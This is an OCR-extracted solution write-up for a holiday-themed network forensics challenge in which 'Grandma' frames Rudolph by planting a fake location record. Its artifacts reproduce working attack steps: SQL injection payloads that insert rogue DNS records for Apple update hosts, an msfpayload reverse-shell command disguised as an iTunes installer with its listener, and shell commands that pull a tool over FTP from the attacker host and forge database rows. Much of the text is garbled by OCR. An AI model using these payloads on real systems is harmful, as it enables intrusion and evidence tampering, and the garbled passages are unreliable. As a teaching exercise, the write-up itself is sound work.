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Brief Answer with more details included in the BEsiite Artifacts below:

Question 1 According to the packet capture file, what waar@ima's grand plan for Christmas
day?

Answer: Grandma and Mel intended to commit inscedinaud. They will frame Rudolph for
her murder, collect her life insurance policy asdape to the Caribbean. We know this based
on the email (artifact #1), the attachment (artif&), and the metadata (artifact #3) in that
document that were recorded in the packet capture.

Question 2 Why did the geo-location information on Rudolpttenputer, synced from his cell
phone, show that Rudolph was in Central Park duhegattack?

Answer: The information on Rudolph computer showedvas at the "scene of the crime”
because Grandma planted that information on higpoben The packets captured from
Grandma’s machine show that Grandma had hackedlphisicomputer and planted an extra
entry in Rudolph’s iPhone database placing hinmatstcene of the crime. There was also an
entry in that same database that placed Rudolptarme Jeneiro at the exact same time
(Artifact 9), but there is some evidence to indictitat it, along with all of the enter entries were
also forged. (Artifact 10).

To plant her bogus GPS entry Grandma took thewiatig steps:
1) She discovered a SQL Injection vulnerabilitytbe north pole site (Artifact 5)

2) She used the vulnerability to create DNS resandhe database used by the DNS
server running on the web serve. She createddsdor the hosts used by iTunes when
performing an update. Fortunately internal ckeiricluding Rudolph’s computer used that
DNS server to resolve hostnames. (Artifact 5)

3) When iTunes started, perhaps as a result oblgh® plugged his iPhone, iTunes tried
to checked for software updates. When it resotiiechames of the iTunes update servers it got
the bogus addresses that Grandma had planted DNBe (Artifact 6)

4) iTunes attempted to download the lasts secuptiate from the IP Addresses provided
by Grandma. Grandma used EvilGrade to delivdeterpreter reverse shell to Rudolph’s
machine. (Artifact 7)



5) Once she was in a remote shell on Rudolph’hmache changed to the directory
containing the iPhone backups. Then she usesiite3 client to add the forged record to the
end of Rudolph’s CellLocation database. (Artifart 8

Question 3 Where should the authorities look for Grandma?

Plaza Hotel near Central Park (Artifact #3)

Question 4. Based on the evidence in the packet capturenie, is guilty in this story?

The preponderance of evidence indicates that Gramdamted an entry in Rudolph’s iPhone
backup in an attempt to frame Rudolph for insurdrexed. She along with Cousin Mel are
likely guilty, but there may be more to this storWhile on Rudolph’s computer Grandma
gueried all of the entries in the iPhone backdhere is strong evidence to indicate that those
entries are forged as well. (Artifact 10) Thises suspicion that Rudolph had in fact been
somewhere else and forged his entire databasg to tover his tracks. It is well documented
that Santa sees you when you are sleeping and kwbess you are awake. The fact that
Grandma and Cousin Mel were on the naughty listatds that their evil plans may have been
fully understood by “The North Pole Crew”. Rijglo may have in fact staged the all the data
on his computer and Grandma’s machine. Or perRapi®lph killed Grandma after she carried
out her plan. Either would explain why the USBrdrivas conveniently left sitting in the
computer with the perfect dataset to convict GramdnRudolph planted a clean route on his
machine to cover up his trip to kill Grandma anspadise of the body. Unfortunately this would
have left Rudolph with less time to deliver preseniThis possibility is further supported by the
fact that NONE of the members of the team puttoggther this report received presents in our
stockings from Santa this Christmas.

Supporting Evidence:

Evidence Artifact #1 - The email

Evidence Artifact #2 — The email attachment

Evidence Artifact #3 - The attachment Metadata
Evidence Artifact #4 - The photo Metadata

Evidence Artifact #5 - SQL Injection to do DNS gntreation
Evidence Artifact #6 — The iTunes Update

Evidence Artifact #7 — The Evilgrade Attack



Evidence Artifact #8 — What was done in the shell

Evidence Artifact #9 — Rudolph was in RIO

Evidence Artifact #10 — All Rudolph’s coordinates #orged.

Evidence Artifact #1: The email

ANALYSIS: This email indicates that cousin Mel is now Graadnsole beneficiary making
him eligible for the benefits after they claim lmath. Grandma’s insurance obviously didn’t
have the standard ‘run over by a reindeer’ clahaehas become so common on modern life

insurance policies.
Email sent 25 Dec 2011 at 07:42 am EST
Dear Mel,

Our plans are almost complete, and | am very excite
shall be spending the rest of our days relaxing in

The plan is highly sensitive, a deep secret that on
share. Never tell another soul about our clever sc
live.

As we discussed, | recently made you the sole benef
insurance policy. On Christmas Eve, | plan on faki
which | will frame as murder on Rudolph, Santa’s ob

The details of my plan are included in the attached
Read it carefully.

Merry Christmas!

Grandma

Evidence Artifact #2: The email attachment

Details of Grandma’s plan included as attachmetit albove email.

d. Soon, you and |
the surf and sun!

ly the two of us

heme as long as you

iciary of my life
ng my own death,
noxious reindeer.

document below.



ANALYSIS: The attachment includes Grandma’s confessionsti@planted the evidence on
Rudolph’s computer. She also conveniently praviaetive for framing such a well liked
figure.

Dear Mel,

Here are the details of my secret plan.

After the investigation turns up the evidence | pla nt, you provide
eyewitness testimony in court, and Rudolph is convi cted, you will
receive the insurance payout. We can then use that money to fund our

Caribbean retirement.

| am not sure | ever told you this, Mel, butas a ¢ hild, my village was
attacked by a ravenous band of rampaging reindeer, instilling a life-

long hatred in me for the flea-bitten beasts. Il never forget their
horrible comments as they galloped through our village. Because of

that chilling childhood experience, I'm going to fa ke my death and
blame it all on Rudolph, the most well-known reinde er of all. He'll

rot away in jail forever.
Merry Christmas,

Grandma

Evidence Artifact #3: The attachment metadata

ANALYSIS: The metadata on Grandma’'s word document reveasarshe will be hiding
along with here and when cousin Mel should meet her

Embedded in Metadata of attached document:

Dear Mel,

| will hide out at the Plaza Hotel near Central Par k for several weeks, and
meet you there in the lobby exactly one week after the trial concludes with a
guilty verdict for Rudolph, precisely at noon loca | time. Make sure you bring

the money in a suitcase full of cash.
I'll be wearing one red shoe.

Grandma

Evidence Artifact #4: The photo EXIF data

ANALYSIS: We analyzed the EXIF data gathered from picturendky the investigator at the
scene of the crime. Conversion of the LAT LONGhirthe EXIF data places the photo at
40.7715,-73.978833. This confirms that photo ve&en in Central Park. The time stamps and
coordinates are consistent with the story line.



exiftool data:

ExifTool Version Number :8.10

File Name : evidence.jpg
Directory .

File Size : 706 kB

File Modification Date/Time  :2011:12:08 19:15:
File Permissions : TWXIW-rw-

File Type - JPEG

MIME Type : image/jpeg

Exif Byte Order : Big-endian (Motor
Make : Apple

Camera Model Name :iPhone 3G
Orientation : Horizontal (norma
X Resolution 172

Y Resolution 172

Resolution Unit inches

Software 14.2.1

Modify Date :2011:12:25 09:33:
Y Cb Cr Positioning : Centered

F Number :2.8

Exposure Program : Program AE
Exif Version : 0221

Date/Time Original
Create Date

1 2011:12:25 09:33:

:2011:12:25 09:33:

Components Configuration 1Y, Cb, Cr, -

Aperture Value
Metering Mode
Flash

Flashpix Version
Color Space

Exif Image Width
Exif Image Height
Sensing Method
Exposure Mode
White Balance
Scene Capture Type
GPS Latitude Ref
GPS Longitude Ref
GPS Altitude Ref
GPS Time Stamp
Compression
Thumbnail Offset
Thumbnail Length
Image Width
Image Height
Encoding Process
Bits Per Sample
Color Components
Y Cb Cr Sub Sampling
Aperture

GPS Altitude

GPS Latitude

GPS Longitude
GPS Position
Image Size

1 2.8
. Average
No flash function
: 0100
:sRGB
: 1600
11200
: One-chip color ar
: Auto
: Auto
: Standard
: North
: West
: Above Sea Level
1 14:33:07.01
: JPEG (old-style)
1746
11085
: 1600
11200

: Baseline DCT, Huf

18
13

:YCbhCr4:2:0 (2 2)

1 2.8

: 54 m Above Sea Le

140 deg 46' 17.40"

: 73 deg 58' 43.80"
140 deg 46' 17.40"
: 1600x1200

09+00:00

ola, MM)

07

07

07

ea

fman coding

vel
N
W
N, 73 deg 58' 43.80" W



Thumbnail Image : (Binary data 1108 5 bytes, use -b option to
extract)

4 5678

SE] Santa's Naughty/Nice List - Mozilla Firefox
File Edit View History Bookmarks Tools Help

2 [ http://www.santalist.northpole/ | ~ | |G~ framing Caribou @,

Santa's Naughty/Nice List

Santa has decided to help alleviate surprise on Christmas morning by allowing pepole to check which list they
are on. After all, if he checks it twice, he may as well let you check it once! Simply enter your name below and
check your niceness!

Your name:

l

| Check your niceness |

] Santa's Naughty/Nice List - Mozilla Firefox
File Edit View History Bookmarks Tools Help

«
Santa's Naughty/Nice List

2 | | www.santalist.northpole/checklist.php I;»E] [Cl~ sql injection @

Results of your Naughty/Nice List query:

| Name |Status
|Grandma |Naughty




B E Santa's Naughty/Nice List - Mozilla Firefox
File Edit View History Bookmarks Tools Help

@«
Santa's Naughty/Nice List

2 [ | www.santalist. northpole/checklist.php | ~ | [G~ leggnog hangovei®,|

Results of your Naughty/Nice List query:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near """ at line 1

Name Statusl

Done

4 % 56 0 4
8 " show databases #

[ E] Santa's Naughty/Nice List - Mozilla Firefox
File Edit View History Bookmarks Tools Help

€« » -~ @ 2 [ | www.santaist.northpole/check.php E*E] [Gl+ ' hoofprint cutout @

Santa's Naughty/Nice List

Results of your Naughty/Nice List query:

Name |Status

| Name |Status
[information_schema

[mydns

|mysq1

[naughtylist

Done si

4 8 “;show tables
from mydns #

3 4



Santa's Naughty/Nice List - Mozilla Firefox
File Edit View History Bookmarks Tools Help

o

2 | | www.santalist.northpole/check.php | ~ | [Gl+insurance fraud &

Santa's Naughty/Nice List

Results of your Naughty/Nice List query:

Name [Status

Name [Status
rr

soa

I Done

0 I # 2 2 <'
8 ‘:show columns from mydns.rr #

Santa's Naughty/Nice List - Mozilla Firefox

File Edit View History Bookmarks Tools Help

2 | | www.santalist.northpole/checklist. php E’IZI [Gl+ ' msfpayload @y

‘S

Santa's Naughty/Nice List

Results of your Naughty/Nice List query:

Name |Status
|Name| Status
id  |int(10) unsigned NO [PRI [auto_incr]
[zone [int(10) unsigned NO [MUL
[name [char(64) NO
[type |enum('A''AAAA'ALIAS,'CNAME', 'HINFO','MX','NAPTR','NS','PTR','RP','SRV', TXT') [YES
[data [char(128) NO
[aux  [int(10) unsigned NO !
[ttl  [int(10) unsigned NO 86400
1] =i |
Done IS,'I ;
"4 2 2

8 ;,show columns from mydns.soa #




Santa's NMaughty/Nice List - Mozilla Firefox

File Edit WView History Bookmarks Tools

-

Santa's Naughty/Nlce List

Help

® [ [www.santalist.northpole/i | ~ | [[Gl~ |evillgrade .| ||

Results of your Maughty/MNice List query:

|Name |Status|

| Name | Status

lid [int{10) unsigned [NO [PRI [auto_increment

[origin [char{255) [MO [UNI

[ns [char(255) MO

[mbox [chari255) Mo

[serial [int{10) unsigned [NO 1

[refresh [inti(10) unsigned [NO 28800

[retry [int{10) unsigned [NO 7200

[expire [int{10) unsigned [NO 604800

[minimum [int{10) unsigned [NO 868400

[Et [int{10) unsigned [NO 86400

Done S
‘4 2 2 2 2

8 “:select * from mydns.soa #

Santa's Naughty/Nice List - Mozilla Firefox

File Edit View History Bookmarks Tools Help

% - @ B ® [@ file:/{/root/select*fromsoa.html

|~ | [[Cl+ evillgrade

Santa's Naughty/Nice List

Results of your Naughty/Nice List query:

Name |[Status
|Name| Status
[ [santaslist.northpole [ns1.santaslist.northpole [root.santaslist.northpole [25 28800 [7200 [604800 [86400 [86400
' Done s
4 < 0 02
8 < 0 02 33 8
2 49
"insert into mydns.soa (origin,ns,mbox) values
("apple.com”,"ns1.santaslist.northpole","root.santa slist.northpole")#
4 =0 4 3




Santa's Naughty/Nice List - Mozilla Firefox

File Edit View History Bookmarks Tools Help
2 | www.santalist.northpole/checklist. php E»E] [~ [itunessetup @,

Santa's Naughty/Nice List

Results of your Naughty/Nice List query:

Name [Status
Name [Status

[ Done

; 2 4 8 “select * from
mydns.soa #

10/[

www.santalist.northpole/checklist. php | v | [C+ itunessetup e

Santa's Naughty/Nice List

Results of your Naughty/Nice List query:

Name Status
|Name\ Status
1 [santaslist.northpole [ns! .santaslist.northpole [root.santaslist.northpole 25 [28800 [7200 604800 [86400 [86400
[2 lapple.com [ns1.santaslist.northpole [root.santaslist.northpole [1 [28800[7200[604800 86400 [86400
[Done st
4 < 0 ") 3 <'2 33 ?'4

8 ‘;select * from mydns.rr #



B = Santa's Naughty/Nice List - Mozilla Firefox
File Edit View History Bookmarks Tools Help

.":[ www.santalist.northpolefchecklist. php

|~ | [Q~ [powerdns sch@,|

Santa's Naughty/Nice List

Results of your Naughty/Nice List query:

Name Statusl

Name |Status

[1 [1 @ INS [ns1.santaslist.northpole 0 [86400
2 1 [nsl.santaslist.northpole [A [172.19.79.2 [o[s6400
[3 1 fwww.santaslist.northpole [& [172.19.79.2 [o[s6400

8 " 4 8 2 2 4

hinsert+into+mydns.rr (zone,name,type,data)+values
(2,"itunes.apple.com”,"A","192.168.1.10") #

"insert+into+mydns.rr (zone,name,type,data)+values
(2,"ax.init.itunes.apple.com","A","192.168.1.10") #

"insert+into+mydns.rr (zone,name,type,data)+values
(2,"swcatalog.apple.com”,"A","192.168.1.10") #

"“insert+into+mydns.rr (zone,name,type,data)+values
(2,"swcdn.apple.com”,"A","192.168.1.10")

"insert+into+mydns.rr (zone,name,type,data)+values
(2,"swscan.apple.com","A","192.168.1.10") #

) 8 4 0 0 2 4 39




B E Santa's Naughty/Nice List - Mozilla Firefox
File Edit View History Bookmarks Tools Help

«
Santa's Naughty/Nice List

| |www.santalist.northpole/checklist.php | ~ | [[G~ 'mydns schem.@,|

Results of your Naughty/Nice List query:

Name [Status
Name [Status

Done Sr,

2 8 “;select * from mydns.rr #

Santa's Naughty/MNice List - Mozilla Firefox

File Edit ¥Yiew History PBookmarks Tools Help
4= e 2 | [ww w.santalist. northpole/check | ~ | [[E]- [mydns sche@|
html=>

Santa's Naughty/Nice List

Results of your Naughty/MNice List gquery:

|Name |Status I

|Name |Status
[1 [1 =] NS [nsl.santaslist.northpole [0 [86400
2 [1 [ns1l.santaslist.northpole [A [172.19.79.2 [0[e6400
[E [1 [wrwrw.santaslist.northpols [A [172.19.79.2 [0 [BB400O
[a [2 [ftunes.apple.com A [192.168.1.10 [0 [BB40O
[5 [2 [ax.init.itunes.apple.com [A [192.168.1.10 [0[868400
& [z [swcatalog.apple.com A [192.188.1.10 [o[8s8400
[7 [z [swedn.apple.com A [192.1688.1.10 [0 [BB400
[ [2 [swscan.apple.com A [192.1688.1.10 [o[BB4CO
Done S,
? (19™ < I3 #4
3 2 ( =3 3 4 /0 ( 3 2

< 0 3 3 4 7@ ( * 4, 2




# 2 4 22 2

4 19"1 2 2 7@ (

3= ; 39AA 33 A

2 1 *1*+

BC )

< 0 0 D >
3 < 0 43 < 0 2 33
) 4 3 D ¥ 7

) 4FO@ 2 0 @

GET /bag.xml?ix=4 HTTP/1.1

User-Agent: iTunes/10.3.1 (Windows; Microsoft Windo
(Build 2600)) AppleWebKit/533.21.1

X-Apple-Tz: -18000
Accept-Language: en-us, en;q=0.50
Accept-Encoding: gzip

Host: ax.init.itunes.apple.com.

(3 2; 2 3

GET /content/catalogs/others/index-windows-1.sucata
Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Wind
Host: swcatalog.apple.com

Connection: Keep-Alive

3 4 3 4 4 3
= /0 4 6= 4

()"

7(7E/ 1@>'1? 0

ws XP Professional Service Pack 3

log HTTP/1.1

ows NT 5.1; Trident/4.0)



msfpayload windows/ shell /reverse_tcp LHOST=192.168.1.10 LPORT=1225 X >
/tmp/iTunesSetup.exe

7 2 | 3 2 4 2
332 %<" . 8 23 |
2 @/ 0o 2
3 0 J3 7 =
; % 3 2 4 0
3300 % 3 4
) Mg
3 3 42 3 32 &" 0 4 $
0 = 3 - 33 3
3 333 243 133 3 #
= 3 3 K4 L= $0

Applications Places System

File Edit Vview Terminal Help

=1 [root@bt: —] =1 root@bt: —~fisrevilgrade = [root - File Browser]

> &" 7 3 4 2

r~

#msfcli exploit/multi/handler PAYLOAD=windows/shell/ reverse_tcp
LHOST=192.168.1.1 0 LPORT=1225E



Applications Places System [~ | - Sat Dec

* root@bt: ~
File Edit View Temminal Help

tree. ...

4 3 7 @ 4

3 3 3= 4 2 0

2 4
'4 = 4 3= 3

Tl

3 < 0 4 2
* o4, 33
* o4, 33
* o+, 4 33
* o+, 4 33



File Edit “iew Controls Store Advanced Help iTunes
[ P

= Movies
1 T% Shows

5" Podcasts H
o Music
STORE

- Songs and music videos you add to iTunes a Dpear In Music in you
@ iTunes Store = = %

play a song, just double-click it.
SHARED
€ Home Sharing

GENIUS Bk A risw version of iTunes [103.8) is available, Wauld you like 15
W dewaninad it mow? - ; Importyour

PLAYLISTS
= iTures DI
4F 90's Music
4 Classical Music Watch the tutarial @ Watch the tutorf
£ Music Wideas Shop for music in the iTunes Store @

4 My Top Rated

4F Recently Added

4 Recently Played Find music files.

4k Top 25 Most Played 4 * iTunes can search your Home folder for MP3 and AAC files you already have

Download iTunes | [ Don't Download

albums orjust s

Find MP3 and AAC files in my Home folder@®

Music is avallable in the iTunes Store in select countries,

( 2 334 <4 7
(33 24 D3 3 33 2 4 3
( 2 3 3334 33



.

File Edb Wiew Conbrols Store  Advanced Help

I LIBRARY
htip:Hsweatalog.apple.com/closed. himl - Micro.

View  Favo Tools  H

iTunes

£F 90's Music

4% Classical Music

4F Music Videos

4% My Top Rated

£ Recently Added
4F Recertly Played
£ Top 25 Most Played

File Download - Security Warning

Do you want to run or save this

ﬁ Mame: updates5262, exe
Type: Application, 72.0KB

Fiom:  swcatalog. spple. com

[ R ][ sawe [

Cancel

Whils files From the Intemat san be useful. this file tpe can
potentially harm your computsr. If you do rot tiust the source. do not
LR or save this software, What's the risk?

)

TS T SERTCTT Y O IO TOTET TOT TS S o

Find MP3 and AAC files in my Home folder@®

Music is awallable in the Tunes Store in select countr)

Apple Software Update

Version | Size
F2.07 KB

werifying
(NNNNRRNNNNNNRNN [ stoe ][ st

h iTunes. any

nnly a A.PP[E Software Update
Uums o

tch th

=

&D 2 2
0 0

2
I(E/ 7 H
32 /0

76/# 3

#' Apple Software Update
File Edit Tools Help

@

Updates

New software is available from Apple.

Select the items you want, then dick Tnstall

Wame version | Size

72.07 KB

Esta actuslizacién, Cuya instalacidn se recamienda a todos los usuarios
de Apple Software Updste para Vindows, incluye correcciones
generales que mejoran la fisbilidad v la interfaz de usuario de ks
aplicacion

HNote: Use o this software is subject ta the original Software License Agresment(s)
that accompanied the software being updated. A list of Apple SLAs may be Found
here: http i, apple. comilenal/sial,

| [[_nstal 1 item
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-+. / "0 "

#
'44 4 4 33 4 0 /0
3 @ G-
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985- 2001 Microsoft Corp.
C:\ Documents and Settings \Rudolph\Desktop>cd ..\Application Data \ Apple
Computer\MobileSync\ Backup
I 3# 4 /0 ! 33 3 # 0
2 @ 3
cd ..\Application Data \ Apple Computer\MobileSync\Backup

C:\ Documents and Settings \Rudolph\Application Data\Apple
Computer\MobileSync\ Backup>dir



4

4096¢9ec676f2847dc283405900e284a7c815836

6

dir
Volume in drive C has no label.
Volume Serial Number is 10C3-ECBB

Directory of C:\Documents and Settings\Rudolph\App
Computer\MobileSync\Backup

12/01/2011 04:43 PM
12/01/2011 04:43 PM
12/25/2011 07:34 AM <DIR>
0 File(s) 0 bytes
3 Dir(s) 6,939,766,784 bytes free

<DIR>
<DIR>
e409a4c0lece

3
19-C | 2
D 2 3 I
19"1 /
32 -
3

@

2 0

H@

C:\Documents and Settings\Rudolph\Application Data\
Computer\MobileSync\Backup>cd e409a4c0lece2a9e6bfo2
cd e409a4c0lece2a9e6bf9267b169f3b15616b98cd

C:\Documents and Settings\Rudolph\Application Data\
Computer\MobileSync\Backup\e409a4c0lece2a9e6bf9267b
192.168.1.10

ftp -A 192.168.1.10

Anonymous login succeeded for Rudolph@RUDOLPH-PC

get sqlite3.exe
bye

<7
2

2
6
4
6 L

C:\Documents and Settings\Rudolph\Application Data\
Computer\MobileSync\Backup\e409a4c0lece2a9e6bf9267b
4096¢c9ec676f2847dc283405900e284a7¢815836 "select *
sqlite3 4096c9ec676f2847dc283405900e284a7c815836 "s
310]410|11504|165415283|346413600.207493|90.0|0.0|1
310]410]11560|165415876|346417200.724667|-36.848461
1.0]-1.0]-1.0|50
310]410]11913|165415988|346424400.845503|-33.87365|
1.0]-1.0]50
310]410]11490|165415931|346431600.789114|35.689489|
1.0]-1.0]50
310]410]11486|165415119|346433400.698928|40.332808|
1.0]-1.0]50
310]410]11387|165415444|346435200.577698|39.904214|
1.0]-1.0]50
310]410|11647]165415648|346449600.307924|55.752505|
1.0]-1.0]50
310]410]11563|165415337|346458600.605536|52.523406|
1.0]-1.0]50

lication Data\Apple

2a9e6bf9267b169f3b15616b98cd

< " 19-C(%

22 I

Apple
67b169f3b15616b98cd

Apple
169f3b15616b98cd>ftp -A

3
(66 2

2 4

2

Apple
169f3b15616b98cd>sqlite3
from CellLocation"

elect * from CellLocation"
414.0]0.0]-1.0J-1.0]-1.0]50
[174.763333|1414.0|0.0]-
151.206889|1414.0|0.0]-1.0]-
139.691706|1414.0|0.0]-1.0]-
116.47765|1414.0|0.0]-1.0|-
116.407414|1414.0|0.0]-1.0]-
37.623168|1414.0|0.0]-1.0|-

13.4114|1414.00.0}-1.0|-



310/410|11293|165419827|346460400.123529|48.858362|
1.0]-1.0|50
310/410|11245|165415050|346464000.957372|51.505624]
1.0]-1.0|50
310/410|11341]165413757|346471200.820172|-22.903539
1.0]-1.0]-1.0|50
310/410|11146|165413900|346478400.428421|18.467964]
1.0]-1.0|50
310/410]11150]|165413038|346480200.261264|6.42375|-6
1.0]-1.0|50
310/410|11342|165415572|346482000.116289|40.748245|
1.0]-1.0|50
310/410|11880|165413161|346483440.664151|43.653226|
1.0]-1.0|50
310/410|11537|165415788|346484520.528258|40.440625|
1.0]-1.0|50
310/410|11363|165415476|346485600.313375|41.8789|-8
1.0]-1.0|50
310/410|11686|165413799|346489201.224764|39.739094]
1.0]-1.0]-1.0|50
310/410|11998|165414519|346492800.167865|37.819751]
1.0]-1.0]-1.0|50
310/410|11312|165413083|346496400.422522|61.190009)
1.0]-1.0]-1.0|50
310/410|11409|165413229|346500000.268656|21.307237|
1.0]-1.0]-1.0|50
310/410|11504]|165415284|346503600.473327|90.0]0.0|1

;- 4

C:\Documents and Settings\Rudolph\Application Data\
Computer\MobileSync\Backup\e409a4c0lece2a9e6bf9267b
4096¢9ec676f2847dc283405900e284a7¢815836 "insert in
(310,410,11250,116541837,346471200.820172,40.7715,-
1,50)"

sqlite3 4096c9ec676f2847dc283405900e284a7c815836 "i
values (310,410,11250,116541837,346471200.820172,40
1,-1,50)"

C:\Documents and Settings\Rudolph\Application Data\
Computer\MobileSync\Backup\e409a4c0lece2a9e6bf9267b
4096¢9ec676f2847dc283405900e284a7c815836 "select *
sqlite3 4096¢c9ec676f2847dc283405900e284a7c¢815836 s
310]410|11504]|165415283|346413600.207493|90.0|0.0]|1
310]410]11560|165415876|346417200.724667|-36.848461
1.0]-1.0]-1.0|50
310]410]11913|165415988|346424400.845503|-33.87365|
1.0]-1.0]50
310]410]11490|165415931|346431600.789114|35.689489|
1.0]-1.0]50
310]410|11486|165415119|346433400.698928|40.332808|
1.0]-1.0]50
310]410]11387|165415444|346435200.577698|39.904214|
1.0]-1.0]50
310]410|11647]|165415648|346449600.307924|55.752505|
1.0]-1.0]50
310]410]11563|165415337|346458600.605536|52.523406|
1.0]-1.0|50

2.294242|1414.0/0.0}-1.0]-
-0.0753831414.0(0.0}-1.0|-
|-43.209587|1414.0|0.0}-
-66.108809|1414.0|0.0}-1.0]-
6.58973|1414.0(0.0]-1.0|-
-73.985534|1414.0|0.0}-1.0]-
-79.383184|1414.0|0.0}-1.0}-
-79.995886|1414.0|0.0|-1.0]-
7.63584/|1414.0(0.0]-1.0|-
-104.984898|1414.0]0.0|-
-122.478168|1414.00.0|-
-149.870694]1414.0]0.0|-
-157.858055|1414.0]0.0|-

414.0]0.0]-1.0]-1.0]-1.0|50

Apple
169f3b15616b98cd>sqlite3
to CellLocation values
73.978833,1414,0,-1,-1,-

nsert into CellLocation
.7715,-73.978833,1414,0,-1,-

Apple
169f3b15616b98cd>sqlite3
from CellLocation"

elect * from CellLocation"
414.0]0.0]-1.0]-1.0]-1.0]50
[174.763333|1414.0|0.0]-
151.206889|1414.0|0.0]-1.0]-
139.691706|1414.0|0.0]-1.0]-
116.47765|1414.0|0.0]-1.0|-
116.407414|1414.0|0.0]-1.0]-
37.623168|1414.0|0.0]-1.0|-

13.4114|1414.00.0}-1.0|-



3

310/410|11293|165419827|346460400.123529|48.858362|
1.0]-1.0|50
310/410|11245|165415050|346464000.957372|51.505624]
1.0]-1.0|50
310/410|11341]165413757|346471200.820172|-22.903539
1.0]-1.0]-1.0|50
310/410|11146|165413900|346478400.428421|18.467964]
1.0]-1.0|50
310/410]11150]|165413038|346480200.261264|6.42375|-6
1.0]-1.0|50
310/410|11342|165415572|346482000.116289|40.748245|
1.0]-1.0|50
310/410|11880|165413161|346483440.664151|43.653226|
1.0]-1.0|50
310/410|11537|165415788|346484520.528258|40.440625|
1.0]-1.0|50
310/410|11363|165415476|346485600.313375|41.8789|-8
1.0]-1.0|50
310/410|11686|165413799|346489201.224764|39.739094]
1.0]-1.0]-1.0|50
310/410|11998|165414519|346492800.167865|37.819751]
1.0]-1.0]-1.0|50
310/410|11312|165413083|346496400.422522|61.190009)
1.0]-1.0]-1.0|50
310/410|11409|165413229|346500000.268656|21.307237|
1.0]-1.0]-1.0|50
310/410|11504]|165415284|346503600.473327|90.0]0.0|1
310/410|11250|116541837|346471200.820172|40.7715|-7
1.0]-1.0|50

C:\Documents and Settings\Rudolph\Application Data\
Computer\MobileSync\Backup\e409a4c0lece2a9e6bf9267b
sqlite3.exe

del sqlite3.exe

C:\Documents and Settings\Rudolph\Application Data\

Computer\MobileSync\Backup\e409a4c0lece2a9e6bf9267b
exit

)26 0
3=2

markbaggett$ sqlite3 4096c9ec676f2847dc283405900e28

CdmacCellLocation CellLocationCoun
CdmacCellLocationBoxes CellLocationHarv
CdmacCellLocationBoxes_node CellLocationHarv

CdmacCellLocationBoxes_parent CellLocationLoca

CdmacCellLocationBoxes_rowid CellLocationLoca
CdmacellLocationCounts CellLocationLoca
CdmacCellLocationHarvest CellLocationLoca

2.294242|1414.0/0.0}-1.0]-
-0.0753831414.0(0.0}-1.0|-
|-43.209587|1414.0|0.0}-
-66.108809|1414.0|0.0}-1.0]-
6.58973|1414.0(0.0]-1.0|-
-73.985534|1414.0|0.0}-1.0]-
-79.383184|1414.0|0.0}-1.0}-
-79.995886|1414.0|0.0|-1.0]-
7.63584/|1414.0(0.0]-1.0|-
-104.984898|1414.0]0.0|-
-122.478168|1414.00.0|-
-149.870694]1414.0]0.0|-
-157.858055|1414.0]0.0|-
414.0/0.0J-1.0]-1.0]-1.0|50

3.978833|1414.0/0.0}-1.0|-

Apple
169f3b15616b98cd>del

Apple
169f3b15616b98cd>exit

4a7c815836 ".tables"
ts

est

estCounts

I

IBoxes

IBoxes_node

IBoxes_parent



CdmacCellLocationHarvestCounts CellLocationLoca

IBoxes_rowid

@ >><7(/ H>% /7@ >'/9
310,410,11504,165415283,346413600.207493,90.0,0.0,1
310,410,11560,165415876,346417200.724667,-36.848461
310,410,11913,165415988,346424400.845503,-33.87365,
310,410,11490,165415931,346431600.789114,35.689489,
310,410,11486,165415119,346433400.698928,40.332808,
310,410,11387,165415444,346435200.577698,39.904214,
310,410,11647,165415648,346449600.307924,55.752505,
310,410,11563,165415337,346458600.605536,52.523406,
310,410,11293,165419827,346460400.123529,48.858362,
310,410,11245,165415050,346464000.957372,51.505624,
310,410,11341,165413757,346471200.820172,-22.903539
310,410,11146,165413900,346478400.428421,18.467964,

310,410,11150,165413038,346480200.261264,6.42375,-6

CdmacellLocationLocal CellLocationLoca ICounts
CdmacCellLocationLocalBoxes CompassCalibrati on
CdmacCellLocationLocalBoxes_node Fences
CdmacCellLocationLocalBoxes_parent Location
CdmacCellLocationLocalBoxes_rowid LocationHarvest
CdmacCellLocationLocalCounts LocationHarvestC ounts
Cell Tablelnfo
CellLocation Wifi
CellLocationBoxes WifiLocation
CellLocationBoxes_node WifiLocationCoun ts
CellLocationBoxes_parent WifiLocationHarv est
CellLocationBoxes_rowid WifiLocationHarv estCounts
1% &" ' 2

-3 ) 3 (66 2 3= 6

6 = | 4

414.0,0.0,-1.0,-1.0,-1.0,50

,174.763333,1414.0,0.0,-1.0,-1.0,-1.0,50

151.206889,1414.0,0.0,-1.0,-1.0,-1.0,50

139.691706,1414.0,0.0,-1.0,-1.0,-1.0,50

116.47765,1414.0,0.0,-1.0,-1.0,-1.0,50

116.407414,1414.0,0.0,-1.0,-1.0,-1.0,50

37.623168,1414.0,0.0,-1.0,-1.0,-1.0,50

13.4114,1414.0,0.0,-1.0,-1.0,-1.0,50

2.294242,1414.0,0.0,-1.0,-1.0,-1.0,50

-0.075383,1414.0,0.0,-1.0,-1.0,-1.0,50

,-43.209587,1414.0,0.0,-1.0,-1.0,-1.0,50

-66.108809,1414.0,0.0,-1.0,-1.0,-1.0,50

6.58973,1414.0,0.0,-1.0,-1.0,-1.0,50



310,410,11342,165415572,346482000.116289,40.748245, -73.985534,1414.0,0.0,-1.0,-1.0,-1.0,50

310,410,11880,165413161,346483440.664151,43.653226, -79.383184,1414.0,0.0,-1.0,-1.0,-1.0,50
310,410,11537,165415788,346484520.528258,40.440625, -79.995886,1414.0,0.0,-1.0,-1.0,-1.0,50
310,410,11363,165415476,346485600.313375,41.8789,-8 7.63584,1414.0,0.0,-1.0,-1.0,-1.0,50
310,410,11686,165413799,346489201.224764,39.739094, -104.984898,1414.0,0.0,-1.0,-1.0,-1.0,50
310,410,11998,165414519,346492800.167865,37.819751, -122.478168,1414.0,0.0,-1.0,-1.0,-1.0,50
310,410,11312,165413083,346496400.422522,61.190009, -149.870694,1414.0,0.0,-1.0,-1.0,-1.0,50
310,410,11409,165413229,346500000.268656,21.307237, -157.858055,1414.0,0.0,-1.0,-1.0,-1.0,50
310,410,11504,165415284,346503600.473327,90.0,0.0,1 414.0,0.0,-1.0,-1.0,-1.0,50
(2 4 - 3
310,410,11250,116541837,346471200.820172,40.7715,-7 3.978833,1414,0,-1,-1,-1,50
) 2 724 4 2 2 4
9
MCC INTEGER, MNC INTEGER, LAC INTEGER, CI INTEGER, Timestamp FLOAT,
